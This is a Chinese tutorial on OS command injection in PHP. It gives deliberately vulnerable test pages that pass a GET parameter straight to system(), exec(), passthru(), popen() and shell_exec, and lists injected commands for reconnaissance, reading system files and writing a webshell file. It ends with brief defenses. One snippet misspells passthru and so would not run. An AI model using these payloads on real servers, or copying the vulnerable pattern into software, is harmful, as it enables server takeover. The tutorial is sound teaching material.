目录

  • 1 OS命令注入概述
  • 2 常见可注入函数及利用方法
  • 2.1 system()函数
  • 2.2 exec()函数
  • 2.3 passthru()函数
  • 2.4 popen()函数
  • 2.5 shell_exec及反引号结构
  • 3 防御
  • 4 总结


1 OS命令注入概述

  1. 背景:程序员使用脚本语言(如PHP等)开发应用程序过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题,比如速度慢、无法触及系统底层等。开发的应用时,特殊是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件),当应用需要调用一些外部程序时就会用到一些系统命令的函数。
  2. OS命令注入:当应用在调用这些系统命令函数时,如果将用户的输入作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。
  3. 条件:
  1. 程序中含有可以执行OS命令的函数或语言结构;
  2. 传入该函数或语言结构的参数是客户端可以控制的(可以直接修改或造成影响)。
  1. 漏洞危害:
  1. 继承Web服务器程序权限(Web用户权限)去执行系统命令;
  2. 继承Web服务器程序权限(Web用户权限)去读写文件;
  3. 反弹shell。通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器Web服务链接,从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。
  4. 控制整个网站 ;
  5. 控制整个服务器。

2 常见可注入函数及利用方法

2.1 system()函数

  1. 作用:该函数能够将字符串作为OS命令执行,自带输出功能。
  2. 原型:string system ( string $command [, int &$return_var ] )
  3. 危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
  4. 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
	echo"<pre>";
	system($_GET['cmd']);
}else{
	echo"?cmd=ipconfig";
}
?>
  1. 在客户端我们访问该网页时带入如下参数以利用漏洞,网页将执行构造的语句返回系统信息(以下函数也是如此)。注入语句应与靶机系统相适应。
?cmd=ipconfig				//将返回IP配置信息
?cmd=cd						//查看当前目录
?cmd=systeminfo				//返回系统信息
?cmd=whoami					//
?cmd=net user				//查看或新增用户等
?cmd=dir					//将返回文件信息
?cmd=ping www.baidu.com		//执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts	//查看系统文件
?cmd=echo"<?php phpinfo();?>">路径		//写入文件,可写入一句话木马等

2.2 exec()函数

  1. 作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令。
  2. 原型:string exec ( string $command [, array &$output [, int &$return_var ]] )
  3. 危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
  4. 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
	echo"<pre>";
	print exec($_GET['cmd']);
}else{
	echo"?cmd=whoami";
}
?>

2.3 passthru()函数

  1. 作用:执行外部程序并且显示原始输出。
  2. 原型:void passthru ( string $command [, int &$return_var ] )
  3. 危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
  4. 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
	echo"<pre>";
	passture($_GET['cmd']);
}else{
	echo"?cmd=whoami";
}
?>

2.4 popen()函数

  1. 作用:该函数能执行OS命令,返回的是一个文件指针。无论返回什么,我们关心的是命令被执行了。
  2. 特点:与其他函数不同的是,需要传入第二个参数作为第一个参数执行结果的存储文件。
  3. 测试代码如下:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
	echo"<pre>";
	popen($_GET['cmd'],'r');
}else{
	echo"?cmd=whoami";
}
?>
  1. 在客户端我们访问该网页时带入如下参数,网页将执行构造的语句并在同目录下生成文件(如已有该文件则追加内容)。
?cmd=ipconfig >>1.txt				//将返回IP配置信息
?cmd=systeminfo >>1.txt				//返回系统信息
?cmd=whoami >>1.txt					//
?cmd=net user >>1.txt				//查看或新增用户等
?cmd=dir >>1.txt					//将返回文件信息
?cmd=ping www.baidu.com >>1.txt		//执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。

2.5 shell_exec及反引号结构

  1. 作用:反引号内的字符串也会被解析成OS命令执行,同时回显执行结果。
  2. 注意:
  1. 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
  2. 与其它某些语言不同,反引号不能在双引号字符串中使用。
  1. 测试代码如下:
<meta charset='gb2312'>
//采用shell_exec函数
<?php
if (isset($_GET['cmd'])){
	echo"<pre>";
	shell_exec($_GET['cmd']);
}else{
	echo"?cmd=ipconfig";
}
?>
//采用反引号
<?php
if (isset($_GET['cmd'])){
	$cmd=$_GET['cmd'];
	print(`$cmd`);
}else{
	echo"?cmd=whoami";
}
?>

3 防御

  1. 尽量减少命令执行海曙的使用,并在disable_functions中禁用;
  2. 在进入命令执行函数或方法前,应对参数进行过滤;
  3. 参数的值尽量使用引号进行包裹,并在拼接调用前调用addslashes进行转义。

4 总结

  1. 了解可能引起OS命令注入的函数;
  2. 掌握这些函数的使用方法;
  3. 了解常用的防御方法。